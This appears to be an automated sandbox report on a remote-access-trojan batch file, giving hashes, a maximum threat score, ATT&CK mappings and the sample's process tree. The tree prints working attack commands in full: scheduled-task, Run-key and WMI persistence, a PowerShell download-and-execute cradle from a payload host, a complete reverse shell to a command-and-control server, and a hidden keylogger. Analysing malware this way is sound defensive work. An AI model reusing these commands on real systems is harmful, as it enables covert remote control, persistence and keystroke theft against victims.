320bb7f58f990f537477530596fd82742823da3e583283707697454012e397c2

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 02:02

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General

Target
rat_build_164117_014440.bat
Size 4KB
Sample260529-cf5dqaaz5y
SHA256 320bb7f58f990f537477530596fd82742823da3e583283707697454012e397c2
MD5 515007ef755978d7852e6600dc534019
SHA1 8a66579c61d98ca0ca7c142efd7cc01eab4bb915
SHA512 439cd07f215a8abbda72ed695e0c78f81a0740b8bdf9121cdb5a6fbcdd36b588a9c8b382fabcc506c79181e213f04cb3805c6234100d6e3d05c360482a507533
SSDEEP 96:FIXIW5EC1ei4on0PMXJyvK5OuNXs6V99KqghC4iFgZk8mvlo178CT:FS5EUh0UX5OuNcmsqeiFgkHlE8CT
TLSH
T12CA1F7236B5B6121C6B06B18CE723858275CD9F71304C98DFB4A8DD54E4CB83942DAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_164117.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5700	powershell.exe
4936	powershell.exe
5604	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_164117 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_164117.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5468	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4992	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2636	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4936	powershell.exe
4936	powershell.exe
5700	powershell.exe
5700	powershell.exe
5604	powershell.exe
5604	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5152	WMIC.exe
Token: SeSecurityPrivilege	5152	WMIC.exe
Token: SeTakeOwnershipPrivilege	5152	WMIC.exe
Token: SeLoadDriverPrivilege	5152	WMIC.exe
Token: SeSystemProfilePrivilege	5152	WMIC.exe
Token: SeSystemtimePrivilege	5152	WMIC.exe
Token: SeProfSingleProcessPrivilege	5152	WMIC.exe
Token: SeIncBasePriorityPrivilege	5152	WMIC.exe
Token: SeCreatePagefilePrivilege	5152	WMIC.exe
Token: SeBackupPrivilege	5152	WMIC.exe
Token: SeRestorePrivilege	5152	WMIC.exe
Token: SeShutdownPrivilege	5152	WMIC.exe
Token: SeDebugPrivilege	5152	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5152	WMIC.exe
Token: SeRemoteShutdownPrivilege	5152	WMIC.exe
Token: SeUndockPrivilege	5152	WMIC.exe
Token: SeManageVolumePrivilege	5152	WMIC.exe
Token: 33	5152	WMIC.exe
Token: 34	5152	WMIC.exe
Token: 35	5152	WMIC.exe
Token: 36	5152	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5152	WMIC.exe
Token: SeSecurityPrivilege	5152	WMIC.exe
Token: SeTakeOwnershipPrivilege	5152	WMIC.exe
Token: SeLoadDriverPrivilege	5152	WMIC.exe
Token: SeSystemProfilePrivilege	5152	WMIC.exe
Token: SeSystemtimePrivilege	5152	WMIC.exe
Token: SeProfSingleProcessPrivilege	5152	WMIC.exe
Token: SeIncBasePriorityPrivilege	5152	WMIC.exe
Token: SeCreatePagefilePrivilege	5152	WMIC.exe
Token: SeBackupPrivilege	5152	WMIC.exe
Token: SeRestorePrivilege	5152	WMIC.exe
Token: SeShutdownPrivilege	5152	WMIC.exe
Token: SeDebugPrivilege	5152	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5152	WMIC.exe
Token: SeRemoteShutdownPrivilege	5152	WMIC.exe
Token: SeUndockPrivilege	5152	WMIC.exe
Token: SeManageVolumePrivilege	5152	WMIC.exe
Token: 33	5152	WMIC.exe
Token: 34	5152	WMIC.exe
Token: 35	5152	WMIC.exe
Token: 36	5152	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5140	WMIC.exe
Token: SeSecurityPrivilege	5140	WMIC.exe
Token: SeTakeOwnershipPrivilege	5140	WMIC.exe
Token: SeLoadDriverPrivilege	5140	WMIC.exe
Token: SeSystemProfilePrivilege	5140	WMIC.exe
Token: SeSystemtimePrivilege	5140	WMIC.exe
Token: SeProfSingleProcessPrivilege	5140	WMIC.exe
Token: SeIncBasePriorityPrivilege	5140	WMIC.exe
Token: SeCreatePagefilePrivilege	5140	WMIC.exe
Token: SeBackupPrivilege	5140	WMIC.exe
Token: SeRestorePrivilege	5140	WMIC.exe
Token: SeShutdownPrivilege	5140	WMIC.exe
Token: SeDebugPrivilege	5140	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5140	WMIC.exe
Token: SeRemoteShutdownPrivilege	5140	WMIC.exe
Token: SeUndockPrivilege	5140	WMIC.exe
Token: SeManageVolumePrivilege	5140	WMIC.exe
Token: 33	5140	WMIC.exe
Token: 34	5140	WMIC.exe
Token: 35	5140	WMIC.exe
Token: 36	5140	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5140	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 4852	1476	cmd.exe	89
PID 1476 wrote to memory of 2636	1476	cmd.exe	90
PID 1476 wrote to memory of 5152	1476	cmd.exe	91
PID 1476 wrote to memory of 5140	1476	cmd.exe	92
PID 1476 wrote to memory of 3928	1476	cmd.exe	93
PID 1476 wrote to memory of 4992	1476	cmd.exe	95
PID 1476 wrote to memory of 5468	1476	cmd.exe	100
PID 1476 wrote to memory of 4936	1476	cmd.exe	101
PID 1476 wrote to memory of 5700	1476	cmd.exe	102
PID 1476 wrote to memory of 5604	1476	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_164117_014440.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_164117" /tr "C:\Users\Admin\AppData\Local\Temp\_164117.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4852
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_164117" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_164117.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2636
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_164117", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5152
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_164117", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_164117.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5140
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_164117.txt
  2⤵
  PID:3928
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4992
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_164117.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 afcab74d4222438326169de8bd4d5849882d2dbd043b161be74a39d055359b95
MD5 5ac4499c2aabe6f6241bba56517980c4
SHA1 c8ea0a206634b65ecf55a22aae64de4ca9eae696
SHA512 b0b029f8f2882834526ab5bad0b9f482228ce6530f7552f4f2fcc78ff8585401b82f0b89a5bd60bf5fc0792e3b8a1345c553623a41bdc8849ae8a39ba8de8d21
TLSH
T17C115727B39C8921CC96153A409D9C1172B683D7419EDE9F6FC4D214A07F584CB61194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 193ff6638fb8aff4a5202080bb3323a079ebd630363b1fb5627500a61f50d1bb
MD5 018209c2aca91af0ff46ed3d8c79d783
SHA1 9cc2669bbcd94af4a242c6eb8fddbe8f3ab34e49
SHA512 0f58c488963bf78a18a1ce957b30ac9328ab707104737a5bf54ee3fd5043aed810cca8fcb5a0bc24d773556184924ed5df01bda84618d547f6acea23a8884faa
TLSH
T1A7115727B39C89A1CC96153A409D9C1172B683DB409EDEDF7BC0D214A1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0xisec3r.hbp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xisec3r.hbp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4936-4-0x000001CADE150000-0x000001CADE172000-memory.dmp

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